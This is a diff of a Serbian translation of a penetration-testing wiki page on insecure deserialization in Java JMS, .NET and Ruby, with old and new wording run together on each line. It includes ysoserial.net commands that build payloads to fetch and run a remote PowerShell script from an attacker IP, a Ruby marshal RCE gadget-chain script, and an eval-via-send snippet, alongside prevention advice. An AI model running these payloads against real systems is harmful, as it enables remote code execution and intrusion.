* Razgovor o deserijalizaciji i ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/) * Deserialization i ysoserial predavanje: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/) * [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ) * [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
* Razgovor o gadgetinspector-u: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf) * Predavanje o gadgetinspectoru: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) i slajdovi: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
* Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) * Marshalsec rad: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr) * [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) * [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html) * [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
* Java i .Net JSON deserijalizacija **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** razgovor: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Java i .Net JSON deserialization **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** predavanje: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* CVE-ovi deserijalizacije: [https://paper.seebug.org/123/](https://paper.seebug.org/123/) * Deserializacije CVE-ovi: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI Injection & log4Shell ## JNDI Injekcija & log4Shell
Pronađite šta je **JNDI Injection, kako zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici: Pronađite šta je **JNDI Injekcija, kako je zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} {% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md) [jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %} {% endcontent-ref %}
## JMS - Java Message Service ## JMS - Java Poruka Servis
> **Java Message Service** (**JMS**) API je Java API za poruke orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođačpotrošač. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems-u, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacije zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinhrona. (Iz [Vikipedije](https://en.wikipedia.org/wiki/Java\_Message\_Service)). > **Java Poruka Servis** (**JMS**) API je Java API orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođačpotrošač. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacije zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
### Proizvodi ### Proizvodi
@ -603,56 +604,57 @@ Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:
### Eksploatacija ### Eksploatacija
Dakle, u osnovi postoji **gomila servisa koji koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim servisima (obično će vam biti potrebne validne akreditacije), možda ćete moći da pošaljete **zlonamerne objekte serijalizovane koji će biti deserijalizovani od strane potrošača/pretplatnika**.\ Dakle, u suštini postoji **puno usluga koje koriste JMS na opasan način**. Stoga, ako imate **dovoljno privilegija** da šaljete poruke ovim uslugama (obično će vam biti potrebne važeće akreditive) mogli biste biti u mogućnosti da pošaljete **zlonamerne objekte serijalizovane koji će biti deserializovani od strane potrošača/pretplatnika**.\
To znači da će svi **klijenti koji koriste tu poruku biti zaraženi**. To znači da će u ovoj eksploataciji svi **klijenti koji će koristiti tu poruku biti zaraženi**.
Trebalo bi da zapamtite da čak i ako je servis ranjiv (jer nesigurno deserijalizuje korisnički unos), i dalje morate pronaći validne gedžete za iskorišćavanje ranjivosti. Trebalo bi da zapamtite da čak i ako je usluga ranjiva (jer nesigurno deserializuje korisnički unos) i dalje morate pronaći važeće gadgete da iskoristite ranjivost.
Alat [JMET](https://github.com/matthiaskaiser/jmet) je kreiran da **poveže i napadne ove servise slanjem nekoliko zlonamernih objekata serijalizovanih korišćenjem poznatih gedžeta**. Ovi eksploati će raditi ako je servis i dalje ranjiv i ako se neki od korišćenih gedžeta nalazi unutar ranjive aplikacije. Alat [JMET](https://github.com/matthiaskaiser/jmet) je kreiran da **poveže i napadne ove usluge šaljući nekoliko zlonamernih objekata serijalizovanih koristeći poznate gadgete**. Ove eksploatacije će raditi ako je usluga još uvek ranjiva i ako je neki od korišćenih gadgeta unutar ranjive aplikacije.
### Reference ### Reference
* Razgovor o JMET-u: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) * JMET predavanje: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
* Slajdovi: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) * Slajdovi: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net ## .Net
U kontekstu .Net-a, eksploatacije deserijalizacije funkcionišu na način sličan onima pronađenim u Javi, gde se gedžeti iskorišćavaju kako bi se izvršio određeni kod tokom deserijalizacije objekta. U kontekstu .Net, eksploatacije deserializacije funkcionišu na način sličan onima u Javi, gde se gadgeti koriste za izvršavanje specifičnog koda tokom deserializacije objekta.
### Fingerprint
### Otisak
#### WhiteBox #### WhiteBox
Izvorni kod treba da se pregleda radi pojavljivanja: Izvorni kod treba pregledati zbog pojava:
1. `TypeNameHandling` 1. `TypeNameHandling`
2. `JavaScriptTypeResolver` 2. `JavaScriptTypeResolver`
Fokus treba da bude na serijskim alatima koji dozvoljavaju da tip bude određen promenljivom pod kontrolom korisnika. Fokus treba biti na serijalizatorima koji omogućavaju da se tip odredi pomoću promenljive pod kontrolom korisnika.
#### BlackBox #### BlackBox
Pretraga treba da cilja Base64 kodiranu nisku **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao biti deserijalizovan na serverskoj strani, dajući kontrolu nad tipom koji će biti deserijalizovan. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`. Pretraga treba da cilja Base64 kodiranu string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji treba deserializovati. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
### ysoserial.net ### ysoserial.net
U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) kako biste **kreirali eksploate za deserijalizaciju**. Nakon preuzimanja git repozitorijuma, trebalo bi da **kompajlirate alat** koristeći na primer Visual Studio. U ovom slučaju možete koristiti alat [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) kako biste **napravili eksploatacije deserializacije**. Kada preuzmete git repozitorijum, trebali biste **kompilirati alat** koristeći Visual Studio, na primer.
Ako želite da saznate **kako ysoserial.net kreira svoj eksploat** možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md). Ako želite da saznate **kako ysoserial.net kreira svoju eksploataciju** možete [**proveriti ovu stranicu gde je objašnjen ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.** Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--output`** i **`--plugin`.**
* **`--gadget`** se koristi da se naznači gadžet za zloupotrebu (naznačiti klasu/funkciju koja će biti zloupotrebljena tokom deserijalizacije radi izvršavanja komandi). * **`--gadget`** se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).
* **`--formatter`**, koristi se da se naznači metoda za serijalizaciju eksploata (treba da znate koju biblioteku koristi serverska strana za deserijalizaciju payloada i koristite istu za serijalizaciju). * **`--formatter`**, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).
* **`--output`** se koristi da se naznači da li želite eksploat u **sirovom** ili **Base64** kodiranom obliku. _Imajte na umu da će **ysoserial.net** **enkodirati** payload koristeći **UTF-16LE** (enkodiranje koje se podrazumevano koristi na Windows-u), pa ako dobijete sirovu verziju i samo je enkodirate sa linux konzole, možda ćete imati neke **probleme sa kompatibilnošću enkodiranja** koji će sprečiti eksploat da pravilno funkcioniše (u HTB JSON kutiji payload je radio i u UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._ * **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u) tako da ako dobijete raw i samo ga kodirate iz linux konzole mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
* **`--plugin`** ysoserial.net podržava dodatke za kreiranje **eksploata za specifične okvire** kao što je ViewState * **`--plugin`** ysoserial.net podržava plugine za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
#### Više parametara ysoserial.net #### Više ysoserial.net parametara
* `--minify` će pružiti **manji payload** (ako je moguće) * `--minify` će pružiti **manji payload** (ako je moguće)
* `--raf -f Json.Net -c "bilo šta"` Ovo će naznačiti sve gadžete koji se mogu koristiti sa naznačenim formatterom (`Json.Net` u ovom slučaju) * `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatterom (`Json.Net` u ovom slučaju)
* `--sf xml` možete **naznačiti gadžet** (`-g`) i ysoserial.net će pretražiti formate koji sadrže "xml" (bez obzira na velika/mala slova) * `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formaterima koji sadrže "xml" (ne razlikuje velika i mala slova)
**ysoserial primeri** za kreiranje eksploata: **ysoserial primeri** za kreiranje eksploatacija:
```bash ```bash
#Send ping #Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -670,9 +672,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode #Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
``` ```
**ysoserial.net** takođe ima **vrlo interesantan parametar** koji pomaže da bolje razumete kako svaki eksploit funkcioniše: `--test`\ **ysoserial.net** takođe ima **veoma zanimljiv parametar** koji pomaže da se bolje razume kako svaki exploit funkcioniše: `--test`\
Ako navedete ovaj parametar, **ysoserial.net** će **pokušati** eksploit lokalno, tako da možete testirati da li će vaš payload pravilno raditi.\ Ako navedete ovaj parametar, **ysoserial.net** će **pokušati** da **izvrši** **exploit lokalno,** tako da možete testirati da li će vaš payload raditi ispravno.\
Ovaj parametar je koristan jer ako pregledate kod, pronaći ćete delove koda poput sledećeg (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): Ovaj parametar je koristan jer ako pregledate kod, naći ćete delove koda kao što je sledeći (iz [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java ```java
if (inputArgs.Test) if (inputArgs.Test)
{ {
@ -686,7 +688,7 @@ Debugging.ShowErrors(inputArgs, err);
} }
} }
``` ```
Ovo znači da bi testiranje eksploatacije zahtevalo poziv koda [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) To znači da će kod pozvati [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) kako bi testirao eksploataciju.
```java ```java
public static object JsonNet_deserialize(string str) public static object JsonNet_deserialize(string str)
{ {
@ -697,46 +699,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj; return obj;
} }
``` ```
U **prethodnom kodu postoji ranjivost na kreiranu eksploataciju**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je ta aplikacija verovatno takođe ranjiva.\ U **prethodnom kodu je ranjiv na stvoreni exploit**. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno i ta aplikacija ranjiva.\
Stoga **parametar `--test`** nam omogućava da razumemo **koji delovi koda su ranjivi** na eksploataciju deserijalizacije koju može da kreira **ysoserial.net**. Zato **`--test`** parametar omogućava da razumemo **koji delovi koda su ranjivi** na deserializaciju exploit koji **ysoserial.net** može stvoriti.
### ViewState ### ViewState
Pogledajte [ovaj POST o **kako pokušati eksploatisati parametar \_\_ViewState u .Net-u**](exploiting-\_\_viewstate-parameter.md) da biste **izvršili proizvoljni kod**. Ako **već znate tajne** koje koristi žrtvena mašina, [**pročitajte ovaj post da biste znali kako izvršiti kod**](exploiting-\_\_viewstate-knowing-the-secret.md)**.** Pogledajte [ovaj POST o **kako pokušati da iskoristite \_\_ViewState parametar .Net**](exploiting-\_\_viewstate-parameter.md) da **izvršite proizvoljan kod.** Ako **već znate tajne** koje koristi žrtvinska mašina, [**pročitajte ovaj post da saznate kako da izvršite kod**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
### Prevencija ### Prevencija
Da biste umanjili rizike povezane sa deserijalizacijom u .Net-u: Da biste umanjili rizike povezane sa deserializacijom u .Net:
* **Izbegavajte dozvoljavanje tokova podataka da definišu svoje tipove objekata.** Koristite `DataContractSerializer` ili `XmlSerializer` kada je moguće. * **Izbegavajte dozvoljavanje podataka da definišu svoje tipove objekata.** Koristite `DataContractSerializer` ili `XmlSerializer` kada je to moguće.
* **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% * **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
* **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`-om.** * **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`.**
* **Ograničite tipove koji mogu biti deserijalizovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može da modifikuje osobine serverskih fajlova, potencijalno dovodeći do napada uskraćivanjem usluge. * **Ograničite tipove koji mogu biti deserializovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može modifikovati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.
* **Budite oprezni sa tipovima koji imaju rizične osobine**, poput `System.ComponentModel.DataAnnotations.ValidationException` sa svojom `Value` osobinom, koja može biti iskorišćena. * **Budite oprezni sa tipovima koji imaju rizična svojstva**, poput `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
* **Sigurno kontrolišite instanciranje tipova** da biste sprečili napadače da utiču na proces deserijalizacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim. * **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim.
* **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`. * **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
* **Budite informisani o poznatim nesigurnim deserijalizacionim gedžetima** unutar .Net-a i obezbedite da deserijalizatori ne instanciraju takve tipove. * **Budite informisani o poznatim nesigurnim deserializacijskim gadgetima** unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.
* **Izolujte potencijalno rizičan kod** od koda sa pristupom internetu kako biste izbegli izlaganje poznatih gedžeta, poput `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, neosiguranim izvorima podataka. * **Izolujte potencijalno rizičan kod** od koda sa pristupom internetu kako biste izbegli izlaganje poznatim gadgetima, kao što je `System.Windows.Data.ObjectDataProvider` u WPF aplikacijama, nepouzdanim izvorima podataka.
### **Reference** ### **Reference**
* Java i .Net JSON deserijalizacija **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** prezentacija: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) * Java i .Net JSON deserializacija **rad:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** predavanje: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdovi: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp) * [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf) * [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) * [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby** ## **Ruby**
U Ruby-u, serijalizacija se olakšava pomoću dve metode unutar biblioteke **marshal**. Prva metoda, poznata kao **dump**, koristi se za transformisanje objekta u niz bajtova. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, **load**, koristi se za vraćanje niza bajtova u objekat, proces poznat kao deserijalizacija. U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar **marshal** biblioteke. Prva metoda, poznata kao **dump**, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, **load**, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.
Za obezbeđivanje serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, obezbeđujući integritet i autentičnost podataka. Ključ koji se koristi u tu svrhu čuva se na jednoj od nekoliko mogućih lokacija: Za zaštitu serijalizovanih objekata, **Ruby koristi HMAC (Hash-Based Message Authentication Code)**, osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu se čuva na jednom od nekoliko mogućih mesta:
* `config/environment.rb` * `config/environment.rb`
* `config/initializers/secret_token.rb` * `config/initializers/secret_token.rb`
* `config/secrets.yml` * `config/secrets.yml`
* `/proc/self/environ` * `/proc/self/environ`
**Ruby 2.X generička deserijalizacija u RCE lanac gedžeta (više informacija na** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**: **Ruby 2.X generička deserializacija u RCE gadget lanac (više informacija u** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby ```ruby
#!/usr/bin/env ruby #!/usr/bin/env ruby
@ -807,13 +809,13 @@ require "base64"
puts "Payload (Base64 encoded):" puts "Payload (Base64 encoded):"
puts Base64.encode64(payload) puts Base64.encode64(payload)
``` ```
Drugi RCE lanac za iskorišćavanje Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) Drugi RCE lanac za eksploataciju Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() metoda ### Ruby .send() metoda
Kao što je objašnjeno u [**ovom izveštaju o ranjivosti**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ako neki neobrađeni korisnički unos stigne do `.send()` metode ruby objekta, ova metoda omogućava **pozivanje bilo koje druge metode** objekta sa bilo kojim parametrima. Kao što je objašnjeno u [**ovom izveštaju o ranjivosti**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), ako neki korisnički nesanitizovani unos dođe do `.send()` metode ruby objekta, ova metoda omogućava **pozivanje bilo koje druge metode** objekta sa bilo kojim parametrima.
Na primer, pozivanje eval i zatim ruby koda kao drugog parametra omogućiće izvršavanje proizvoljnog koda: Na primer, pozivanje eval i zatim ruby kod kao drugi parametar će omogućiti izvršavanje proizvoljnog koda:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```ruby ```ruby
@ -821,7 +823,8 @@ Na primer, pozivanje eval i zatim ruby koda kao drugog parametra omogućiće izv
``` ```
{% endcode %} {% endcode %}
Osim toga, ako je samo jedan parametar **`.send()`** kontrolisan od strane napadača, kao što je pomenuto u prethodnom objašnjenju, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**. Za ovo je moguće enumerisati sve metode objekta kako bi se **pronašle neke interesantne metode koje ispunjavaju te zahteve**. Pored toga, ako samo jedan parametar **`.send()`** kontroliše napadač, kao što je pomenuto u prethodnom tekstu, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**.\
Za ovo, moguće je enumerisati sve metode objekta da bi se **pronašle neke zanimljive metode koje ispunjavaju te zahteve**.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```ruby ```ruby
@ -847,16 +850,17 @@ candidate_methods.length() # Final number of methods=> 3595
``` ```
{% endcode %} {% endcode %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini da podržite HackTricks: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
